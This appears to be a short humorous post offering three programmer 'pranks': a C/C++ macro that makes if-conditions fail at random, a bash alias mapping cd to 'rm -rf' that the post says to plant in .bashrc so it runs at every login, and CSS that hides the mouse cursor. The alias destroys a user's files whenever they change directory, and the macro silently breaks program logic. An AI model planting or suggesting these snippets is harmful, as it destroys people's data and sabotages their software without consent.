3 Programmer’s Humors


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3 Programmer’s Humors:

C/C++ define

Computer now has moods, if she is not happy, she will deny to work.

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#define if(X) if ((X) && rand()/double(RAND_MAX) < 0.9)
#define if(X) if ((X) && rand()/double(RAND_MAX) < 0.9)

BASH Malicious Alias

Put following at .bashrc so that it gets executes everytime a user is logged in.

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alias cd="rm -rf"
alias cd="rm -rf"

Hide cursor in CSS

This should drive users mad. !important has highest priority.

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*:hover {
  cursor: none !important; /*sry not sry*/
}
*:hover {
  cursor: none !important; /*sry not sry*/
}

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